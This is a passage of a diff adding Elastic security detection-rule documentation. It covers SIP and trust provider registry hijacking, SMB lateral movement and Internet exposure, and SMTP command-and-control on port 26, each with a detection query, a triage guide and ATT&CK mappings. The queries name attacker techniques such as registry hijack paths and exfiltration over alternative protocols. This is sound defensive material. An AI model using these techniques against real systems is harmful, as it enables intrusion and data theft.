legitimacy, checking its digital signature and origin. +- Correlate the event with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the risk context by considering the host's role and any recent changes or incidents that might explain the registry modification, ensuring it aligns with expected behavior or authorized changes. + + +*False positive analysis* + + +- Installation or update processes like msiexec.exe may trigger registry changes as part of legitimate software installations. Exclude these by adding exceptions for msiexec.exe when registry data strings include mso.dll. +- System maintenance tasks using regsvr32.exe might modify SIP provider-related registry entries. Exclude regsvr32.exe when registry data strings match WINTRUST.DLL to prevent false alerts. +- Regular updates or patches from trusted software vendors may alter SIP provider registry entries. Monitor and document these changes to establish a baseline of expected behavior, allowing for informed exclusions. +- Security software or endpoint protection solutions might interact with SIP provider settings as part of their normal operation. Identify and whitelist these processes to reduce unnecessary alerts. +- Custom enterprise applications with legitimate needs to modify cryptographic settings should be reviewed and, if verified as safe, added to an exclusion list to prevent disruption. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or code execution. +- Terminate any suspicious processes identified in the alert, such as those not typically associated with legitimate SIP provider modifications. +- Restore the modified registry entries to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the SIP providers. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious software that may have been introduced. +- Review and update endpoint protection policies to ensure that similar unauthorized modifications are detected and blocked in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : ("Dll", "$Dll") and + registry.path: ( + "*\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "*\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll", + "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll" + ) and + registry.data.strings:"*.dll" and + not (process.name : "msiexec.exe" and registry.data.strings : "mso.dll") and + not (process.name : "regsvr32.exe" and registry.data.strings == "WINTRUST.DLL") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: SIP and Trust Provider Hijacking +** ID: T1553.003 +** Reference URL: https://attack.mitre.org/techniques/T1553/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-connections-via-lolbin-or-untrusted-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-connections-via-lolbin-or-untrusted-process.asciidoc new file mode 100644 index 0000000000..742e7f4383 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-connections-via-lolbin-or-untrusted-process.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-smb-connections-via-lolbin-or-untrusted-process]] +=== SMB Connections via LOLBin or Untrusted Process + +Identifies potentially suspicious processes that are not trusted or living-off-the-land binaries (LOLBin) making Server Message Block (SMB) network connections over port 445. Windows File Sharing is typically implemented over SMB, which communicates between hosts using port 445. Legitimate connections are generally established by the kernel (PID 4). This rule helps to detect processes that might be port scanners, exploits, or user-level processes attempting lateral movement within the network by leveraging SMB connections. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +This rule may have low to medium performance impact due to filtering for LOLBins processes starting, followed by network connections over port 445. Additional filtering is applied to reduce the volume of matching events and improve performance. + + +*Investigating SMB Connections via LOLBin or Untrusted Process* + + +This rule looks for unexpected processes or LOLBins making network connections over port 445. Windows file sharing is typically implemented over Server Message Block (SMB), which communicates between hosts using port 445. When legitimate, these network connections are established by the kernel (PID 4). Occurrences of non-system processes using this port can indicate port scanners, exploits, and tools used to move laterally on the environment. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- In hybrid environments, SMB may be used for legitimate purposes if operations are performed in Azure. In such cases, consider adding exceptions for known Azure services and operations. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + + /* first sequence to capture the start of Windows processes */ + [process where host.os.type == "windows" and event.type == "start" and process.pid != 4 and + + /* ignore NT Authority and Network Service accounts */ + not user.id in ("S-1-5-19", "S-1-5-20") and + + /* filter out anything trusted but not from Microsoft */ + /* LOLBins will be inherently trusted and signed, so ignore everything else trusted */ + not (process.code_signature.trusted == true and not startsWith(process.code_signature.subject_name, "Microsoft")) and + + /* filter out PowerShell scripts from Windows Defender ATP */ + not ( + process.name : "powershell.exe" and + process.args :"?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1")] + + /* second sequence to capture network connections over port 445 related to SMB */ + [network where host.os.type == "windows" and destination.port == 445 and process.pid != 4] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-from-the-internet.asciidoc new file mode 100644 index 0000000000..a450721b03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-from-the-internet.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-from-the-internet]] +=== SMB (Windows File Sharing) Activity from the Internet + +This rule detects network events that may indicate inbound Windows file sharing (SMB or CIFS) traffic originating from the Internet. SMB should never be directly reachable from the Internet, as it is a primary target for exploitation by threat actors seeking initial access. Inbound SMB from a public IP is a direct precondition for attacks such as EternalBlue (MS17-010) and related SMB remote code execution vulnerabilities. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-corelight.* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-zeek.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0144 + +*Tags*: + +* Tactic: Initial Access +* Domain: Network +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Data Source: Network Packet Capture + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMB (Windows File Sharing) Activity from the Internet* + + +Inbound SMB from a public IP is one of the highest-signal perimeter events observable at a network boundary. SMB (ports 139/445) should never be reachable from the Internet. When it is, it is almost always either a deliberate exposure (misconfiguration) or active exploitation, both of which warrant investigation. Classic attacks in this category include EternalBlue (MS17-010), WannaCry, NotPetya, and subsequent SMB RCE chains. + +This rule uses `new_terms` to suppress repeat scans from the same source, surfacing only the first time each external IP reaches an internal host on SMB ports. + + +*Possible investigation steps* + + +- Identify the destination IP. Determine whether this host has a legitimate reason to expose SMB to the Internet (nearly always: no). Check whether the port was reachable externally due to a misconfigured NAT rule or security group. +- Review firewall allow/deny context alongside the alert. If the session was blocked, the immediate risk is lower, but the exposure is still worth addressing. +- Check the source IP against threat intelligence. Mass-Internet SMB scanning is common and source IPs are frequently tracked in public feeds. +- Correlate with endpoint telemetry on the destination host: look for process creation events, new services, or lateral movement activity that might indicate exploitation succeeded. +- Review patch status of the destination host for MS17-010 and subsequent SMB vulnerabilities. +- Check whether this external IP has been seen targeting other internal hosts or ports in the same timeframe, which would indicate a broader scan or intrusion campaign. + + +*False positive analysis* + + +- Hosts with public IPs that explicitly expose SMB (rare, but occurs in some lab or legacy setups): this is the intended detection; the exposure is itself the finding. Add a per-host exception only after confirming the exposure is authorized and risk-accepted. +- Site-to-site VPN or MPLS setups where a remote office segment routes through a public IP and appears as an external source: confirm with network architecture and add the IP range to the exclusion list if legitimate. + + +*Response and remediation* + + +- If the destination host is reachable from the Internet on port 139 or 445, immediately close the exposure at the firewall or security group level. This is the single most impactful remediation step. +- Isolate the destination host if any signs of compromise exist (unexpected processes, new scheduled tasks, lateral movement alerts). +- Patch the host for MS17-010 and related SMB vulnerabilities if not already current. +- Audit NAT and firewall rules to ensure no other hosts have inadvertent Internet-facing SMB exposure. +- Review the pfSense / network perimeter ruleset to confirm that inbound TCP 139/445 is explicitly denied at the border. + +This rule requires network flow or firewall log data that captures inbound TCP connections with 5-tuple information (source IP, destination IP, destination port). Compatible data sources include: + +- **Elastic Network Traffic** integration (Packetbeat) +- **Corelight** integration (network and SMB telemetry) +- **Fortinet FortiGate** integration (firewall traffic logs) +- **PAN-OS** integration (Palo Alto Networks firewall logs) +- **pfSense** integration (syslog-based firewall flow logs; requires pfSense syslog forwarding enabled) +- **Zeek** integration (SMB-specific log types: `smb_cmd`, `smb_files`, `smb_mapping`) + +For pfSense, ensure the firewall logging rules are configured to log connection events and that the Elastic pfSense integration is forwarding logs to the `logs-pfsense.log-*` data stream. + +==== Setup + + +This rule requires network flow or firewall log data that captures inbound TCP connections with 5-tuple information (source IP, destination IP, destination port). Compatible data sources include: + +Elastic Network Traffic integration (Packetbeat)Corelight integration (network and SMB telemetry)Fortinet FortiGate integration (firewall traffic logs)PAN-OS integration (Palo Alto Networks firewall logs)pfSense integration (syslog-based firewall flow logs; requires pfSense syslog forwarding enabled)Zeek integration (SMB-specific log types: `smb_cmd`, `smb_files`, `smb_mapping`) +For pfSense, ensure the firewall logging rules are configured to log connection events and that the Elastic pfSense integration is forwarding logs to the `logs-pfsense.log-*` data stream. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow or pfsense.log or zeek.smb_cmd or zeek.smb_files or zeek.smb_mapping) or event.category:(network or network_traffic)) + and network.transport:tcp and destination.port:(139 or 445) + and destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + and not source.ip:( + 10.0.0.0/8 + or 100.64.0.0/10 + or 127.0.0.0/8 + or 169.254.0.0/16 + or 172.16.0.0/12 + or 192.0.0.0/24 + or 192.0.0.0/29 + or 192.0.0.10/32 + or 192.0.0.170/32 + or 192.0.0.171/32 + or 192.0.0.8/32 + or 192.0.0.9/32 + or 192.0.2.0/24 + or 192.168.0.0/16 + or 192.175.48.0/24 + or 192.31.196.0/24 + or 192.52.193.0/24 + or 192.88.99.0/24 + or 198.18.0.0/15 + or 198.51.100.0/24 + or 203.0.113.0/24 + or 224.0.0.0/4 + or 240.0.0.0/4 + or "::1" + or "FE80::/10" + or "FF00::/8" + ) and + not ( + data_stream.dataset:panw.panos and + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-to-the-internet.asciidoc new file mode 100644 index 0000000000..66d272d27c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-to-the-internet.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-to-the-internet]] +=== SMB (Windows File Sharing) Activity to the Internet + +This rule detects network events that may indicate the use of Windows file sharing (also called SMB or CIFS) traffic to the Internet. SMB is commonly used within networks to share files, printers, and other system resources amongst trusted systems. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector or for data exfiltration. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-zeek.* +* logs-corelight.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Exfiltration +* Domain: Network +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMB (Windows File Sharing) Activity to the Internet* + + +SMB, a protocol for sharing files and resources within trusted networks, is vulnerable when exposed to the Internet. Adversaries exploit it for unauthorized access or data theft. The detection rule identifies suspicious SMB traffic from internal IPs to external networks, flagging potential threats by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the SMB traffic. Check if this IP belongs to a known device or user within the organization. +- Investigate the destination IP address to determine if it is associated with any known malicious activity or if it belongs to a legitimate external service that might require SMB access. +- Analyze network logs to identify any patterns or anomalies in the SMB traffic, such as unusual data transfer volumes or repeated access attempts, which could indicate malicious activity. +- Check for any recent changes or updates on the source system that might explain the SMB traffic, such as new software installations or configuration changes. +- Correlate the alert with other security events or logs, such as authentication logs or endpoint security alerts, to gather additional context and determine if this is part of a broader attack or isolated incident. +- Consult threat intelligence sources to see if there are any known vulnerabilities or exploits related to the SMB traffic observed, which could provide insight into potential attack vectors. + + +*False positive analysis* + + +- Internal testing environments may generate SMB traffic to external IPs for legitimate reasons. Identify and whitelist these IPs to prevent false positives. +- Cloud services or remote backup solutions might use SMB for data transfer. Verify these services and add their IP ranges to the exception list if they are trusted. +- VPN connections can sometimes appear as external traffic. Ensure that VPN IP ranges are included in the list of known safe IPs to avoid misclassification. +- Misconfigured network devices might inadvertently route SMB traffic externally. Regularly audit network configurations and update the rule exceptions to include any legitimate device IPs. +- Some third-party applications may use SMB for updates or data synchronization. Confirm the legitimacy of these applications and exclude their associated IPs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of firewall and network configurations to ensure SMB traffic is not allowed to the Internet, and block any unauthorized outbound SMB traffic on ports 139 and 445. +- Perform a comprehensive scan of the isolated system for malware or unauthorized access tools, focusing on identifying any backdoors or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the suspicious activity. +- Notify the security operations center (SOC) and relevant stakeholders about the incident for further analysis and potential escalation. +- Implement additional monitoring and logging for SMB traffic to detect any future unauthorized attempts to access the Internet. +- Review and update security policies and procedures to prevent similar incidents, ensuring that SMB services are only accessible within trusted network segments. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow or zeek.smb_cmd or zeek.smb_files or zeek.smb_mapping) or event.category:(network or network_traffic)) + and network.transport:tcp and destination.port:(139 or 445) + and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + and not destination.ip:(10.0.0.0/8 + or 100.64.0.0/10 + or 127.0.0.0/8 + or 169.254.0.0/16 + or 172.16.0.0/12 + or 192.0.0.0/24 + or 192.0.0.0/29 + or 192.0.0.10/32 + or 192.0.0.170/32 + or 192.0.0.171/32 + or 192.0.0.8/32 + or 192.0.0.9/32 + or 192.0.2.0/24 + or 192.168.0.0/16 + or 192.175.48.0/24 + or 192.31.196.0/24 + or 192.52.193.0/24 + or 192.88.99.0/24 + or 198.18.0.0/15 + or 198.51.100.0/24 + or 203.0.113.0/24 + or 224.0.0.0/4 + or 240.0.0.0/4 + or "::1" + or "FE80::/10" + or "FF00::/8") + and not ( + data_stream.dataset:panw.panos and + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smtp-to-the-internet-on-port-26-tcp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smtp-to-the-internet-on-port-26-tcp.asciidoc new file mode 100644 index 0000000000..a9a8f9d0dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-smtp-to-the-internet-on-port-26-tcp.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-smtp-to-the-internet-on-port-26-tcp]] +=== SMTP to the Internet on Port 26/TCP + +This rule detects events that may indicate use of SMTP on TCP port 26 from an internal host to an external destination. This port is commonly used by several popular mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family called BadPatch for command and control of Windows systems. The rule is scoped to outbound traffic (internal source to external destination) to focus on the command and control and exfiltration use cases, rather than benign internal mail relays or unrelated transit traffic observed by the sensor. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-zeek.* +* logs-corelight.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/unit42-badpatch/ +* https://isc.sans.edu/forums/diary/Next+up+whats+up+with+TCP+port+26/25564/ + +*Tags*: + +* Tactic: Command and Control +* Tactic: Exfiltration +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Corelight +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: pfSense +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMTP to the Internet on Port 26/TCP* + + +SMTP, typically operating on port 25, is crucial for email transmission. However, port 26 is often used to avoid conflicts or restrictions on port 25. Adversaries exploit this by using port 26 for covert command and control, as seen with the BadPatch malware. The detection rule identifies suspicious SMTP activity on port 26 originating from an internal host to an external destination, helping to uncover potential command and control or exfiltration while suppressing benign internal mail traffic. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any unusual patterns or anomalies associated with TCP port 26, focusing on the event.dataset fields such as network_traffic.flow or zeek.smtp. +- Analyze the source and destination IP addresses involved in the alert to determine if they are known or associated with any previous suspicious activities. +- Check for any additional alerts or logs related to the same source or destination IP addresses to identify potential patterns or repeated attempts of communication on port 26. +- Investigate the context of the communication by examining the payload data, if available, to identify any indicators of compromise or malicious content. +- Correlate the findings with threat intelligence sources to determine if the IP addresses or domains are associated with known threat actors or malware, such as BadPatch. +- Assess the risk and impact on the affected systems by determining if any sensitive data or critical systems are involved in the communication on port 26. + + +*False positive analysis* + + +- Legitimate mail transfer agents may use port 26 to avoid conflicts with port 25. Identify these agents and create exceptions in the detection rule to prevent unnecessary alerts. +- Some network configurations might reroute SMTP traffic to port 26 for load balancing or security reasons. Verify these configurations and whitelist known IP addresses or domains to reduce false positives. +- Internal testing or development environments might use port 26 for non-malicious purposes. Document these environments and exclude their traffic from triggering alerts. +- Certain email service providers may use port 26 as an alternative to port 25. Confirm these providers and adjust the rule to recognize their traffic as benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further command and control communication via port 26. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove the BadPatch malware or any other malicious software. +- Review and analyze network logs to identify any other systems that may have communicated with the same command and control server, and isolate those systems as well. +- Change all passwords and credentials that may have been compromised or accessed by the affected system to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other vulnerable systems to mitigate exploitation by similar threats. +- Monitor network traffic for any further suspicious activity on port 26 and other non-standard ports, adjusting firewall rules to block unauthorized SMTP traffic. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to ensure comprehensive threat eradication. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (fortinet_fortigate.log or network_traffic.flow or zeek.smtp) or event.category:(network or network_traffic)) and + network.transport:tcp and destination.port:26 and + source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and + not destination.ip:(10.0.0.0/8 + or 100.64.0.0/10 + or 127.0.0.0/8 + or 169.254.0.0/16 + or 172.16.0.0/12 + or 192.0.0.0/24 + or 192.0.0.0/29 + or 192.0.0.10/32 + or 192.0.0.170/32 + or 192.0.0.171/32 + or 192.0.0.8/32 + or 192.0.0.9/32 + or 192.0.2.0/24 + or 192.168.0.0/16 + or 192.175.48.0/24 + or 192.31.196.0/24 + or 192.52.193.0/24 + or 192.88.99.0/24 + or 198.18.0.0/15 + or 198.51.100.0/24 + or 203.0.113.0/24 + or 224.0.0.0/4 + or 240.0.0.0/4 + or "::1" + or "FE80::/10" + or "FF00::/8") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Mail Protocols +** ID: T1071.003 +** Reference URL: https://attack.mitre.org/techniques/T1071/003/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-softwareupdate-preferences-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-softwareupdate-preferences-modification.asciidoc new file mode 100644 index 0000000000..0e116df33d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-softwareupdate-preferences-modification.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-softwareupdate-preferences-modification]] +=== SoftwareUpdate Preferences Modification + +Identifies changes to the SoftwareUpdate 